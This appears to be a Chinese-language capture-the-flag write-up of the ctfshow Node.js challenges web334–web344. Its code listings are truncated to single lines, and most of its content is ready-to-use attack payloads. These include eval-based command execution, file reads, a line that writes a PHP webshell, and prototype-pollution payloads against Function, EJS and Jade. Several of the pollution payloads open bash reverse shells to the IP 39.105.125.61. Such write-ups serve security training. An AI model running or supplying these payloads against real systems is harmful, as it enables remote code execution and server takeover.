nodejs
web334
login.js
1 | var express = require('express'); |
user.js
1 | module.exports = { |
直接小写就可以ctfshow
当然也可以用特殊字符
1 | 'ı'.toUpperCase()='I'`,`'ſ'.toUpperCase()='S'`,`'K'.toLowerCase()='k' |
web335
源码提示了
\?eval=
没有过滤随便玩
但是输入require("child_process").exec('ls')
why? …..真相只有一个:
首先根据”文件不存在”回显推测后端代码为
1 | eval(console.log(输入内容)) |
我们用的异步执行代码exec
在执行exec('aaa')
之前就已经eval执行console.log
了
web336
收集下各位师傅的payload
%2B不能是+
1 | ?eval=require("child_process")['exe'%2B'cSync']('ls') |
之前推测后端代码是
1 | eval(console.log(输入内容)) |
那么可以用
1 | __filename 返回当前模块被解析后的绝对路径 |
1 | ?eval=require('fs').readFileSync('/app/routes/index.js','utf-8') |
可以用这个写入文件,如果shell写入会出现字符html编码
1 | require('fs').appendFileSync('a.php',"<?php eval($_POST[1]);?>") |
但是下面这个都用不了
1 | require("fs").rmSync("a.txt"); |
web337
1 | var express = require('express'); |
方法一
nodejs的变量拼接
1 | console.log(5+[6,6]); //56,6 |
那么只需要传入
1 | a[0]=a&b[0]=a或者a[]=a&b=a |
拼接后都是
1 | a+flag="aflag" |
方法二
也可以传入
1 | a[x]=a&b[y]=a |
这样字符拼接后会变成
1 | [object Object]flag{xxx} |
md5自然相等
实例
1 | a={'x':'1'} |
web338
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
ctfshow
属性没定义,直接污染就行
1 | {"__proto__":{"ctfshow":"36dboy"}} |
web339
方法一
login.js
1 | /* GET home page. */ |
没地方可以污染
api.js
1 | /* GET home page. */ |
注意这句,访问api就执行Function(query)(query)
重点是函数可以自定义
1 | res.render('api', { query: Function(query)(query)}); |
在Thejs中也有这个
1 | var result = attempt(function() { |
需要清楚的是js中所有对象原型都可以继承到Object
继续往上找就是null了
那么思路清晰了,完全可以仿照thejs的payload构造,先测试一下
关于Function构造函数的特殊形式执行,举个例子:
这里要注意Function环境下没有require,需要改成global.process.mainModule.constructor._load
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/777 0>&1\"')"}} |
login.js污染一下再跑到api路由下激活即可
方法二
引入了ejs模板,直接拿payload无脑打也可以,上一题也可以用这个⑧?
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"');var __tmp2"}} |
web340
方法一:
login.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
api.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
这里变成了
1 | utils.copy(user.userinfo,req.body); |
多了个userinfo
属性
那污染两级就可以
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/777 0>&1\"')"}}} |
方法二
ejs~
web341
ejs参考上题方法二
web342
jade原型链污染
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}} |
1 | {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}} |
1 | {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}} |
web343
不知道过滤了什么….
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}} |
web344
1 | router.get('/', function(req, res, next) { |
nodejs中在处理req.query.query时会把传入的同名query参数都放入数组,而不像php那样后一个把前一个query覆盖,然后进行拼接,如果符合格式就进行解析
%63编码是因为双引号编码%22会拼接成2c触发正则
1 | query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |